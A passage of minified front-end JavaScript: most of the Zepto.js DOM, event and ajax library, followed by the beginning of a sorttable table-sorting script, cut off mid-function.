g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,scriptTypeRE=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)
var h=!0,j=!1;sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/sortable/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/sortbottom/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/sorttable_nosort/)){(mtch=headrow[b].className.match(/sorttable_([a-z0-9]+)/))&&(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/sorttable_sorted/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML=" ▴",this.appendChild(sortrevind);else if(-1!=this.className.search(/sorttable_sorted_reverse/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML=" ▾",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML=" ▾";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[$]?[\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var 